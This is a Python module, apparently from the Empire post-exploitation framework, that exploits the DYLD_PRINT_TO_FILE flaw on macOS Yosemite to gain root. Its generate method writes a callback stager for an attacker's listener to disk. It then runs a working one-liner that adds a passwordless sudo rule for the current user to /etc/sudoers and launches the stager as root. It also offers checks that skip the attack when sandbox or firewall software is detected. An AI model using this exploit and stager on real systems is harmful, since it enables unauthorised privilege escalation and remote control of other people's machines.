from __future__ import print_function

from builtins import object

from lib.common import helpers


class Module(object):
    
    def __init__(self, mainMenu, params=[]):
        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': 'Mac OSX Yosemite DYLD_PRINT_TO_FILE Privilege Escalation',
            
            # list of one or more authors for the module
            'Author': ['@checky_funtime'],
            
            # more verbose multi-line description of the module
            'Description': (
                'This modules takes advantage of the environment variable DYLD_PRINT_TO_FILE in order to escalate privileges on all versions Mac OS X Yosemite'
                'WARNING: In order for this exploit to be performed files will be overwritten and deleted. This can set off endpoint protection systems and as of initial development, minimal testing has been performed.'),

            'Software': '',

            'Techniques': ['TA0004'],

            # True if the module needs to run in the background
            'Background': False,
            
            # File extension to save the file as
            # no need to base64 return data
            'OutputExtension': None,
            
            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe': False,
            
            # the module language
            'Language': 'python',
            
            # the minimum language version needed
            'MinLanguageVersion': '2.6',
            
            'NeedsAdmin': False,
            
            # list of any references/other comments
            'Comments': [
                'References:',
                'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/dyld_print_to_file_root.rb',
                'http://www.sektioneins.com/en/blog/15-07-07-dyld_print_to_file_lpe.html'
            ]
        }
        
        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent': {
                # The 'Agent' option is the only one that MUST be in a module
                'Description': 'Agent used to Privesc from',
                'Required': True,
                'Value': ''
            },
            'FileName': {
                # The 'Agent' option is the only one that MUST be in a module
                'Description': 'The filename to use when the temporary file is dropped to disk.',
                'Required': True,
                'Value': 'error.log'
            },
            'Listener': {
                'Description': 'Listener to use.',
                'Required': True,
                'Value': ''
            },
            'SafeChecks': {
                'Description': 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
                'Required': True,
                'Value': 'True'
            },
            'UserAgent': {
                'Description': 'User-agent string to use for the staging request (default, none, or other).',
                'Required': False,
                'Value': 'default'
            },
            'WriteablePath': {
                'Description': 'Full path to where the file should be written. Defaults to /tmp/.',
                'Required': True,
                'Value': '/tmp/'
            }
        }
        
        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.	
        self.mainMenu = mainMenu
        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value
    
    def generate(self, obfuscate=False, obfuscationCommand=""):
        
        # the Python script itself, with the command to invoke
        #   for execution appended to the end. Scripts should output
        #   everything to the pipeline for proper parsing.
        #
        # the script should be stripped of comments, with a link to any
        #   original reference script included in the comments.
        listenername = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        safeChecks = self.options['SafeChecks']['Value']
        
        launcher = self.mainMenu.stagers.generate_launcher(listenername, language='python', userAgent=userAgent,
                                                           safeChecks=safeChecks)
        if launcher == "":
            print(helpers.color("[!] Error in launcher generation"))
        launcher = launcher.replace("\"", "\\\"")
        fullPath = self.options['WriteablePath']['Value'] + self.options['FileName']['Value']
        fileName = self.options['FileName']['Value']
        script = """
import os
print("Writing Stager to {filename}...")
file = open("{fullpath}","w")
file.write("{filecontents}")
file.close()
print("Attempting to execute stager as root...")
try:
	os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &")
	print("Successfully ran command, you should be getting an elevated stager")
except:
	print("[!] Could not execute payload!")
            
	""".format(fullpath=fullPath, filecontents=launcher, filename=fileName)
        

        return script
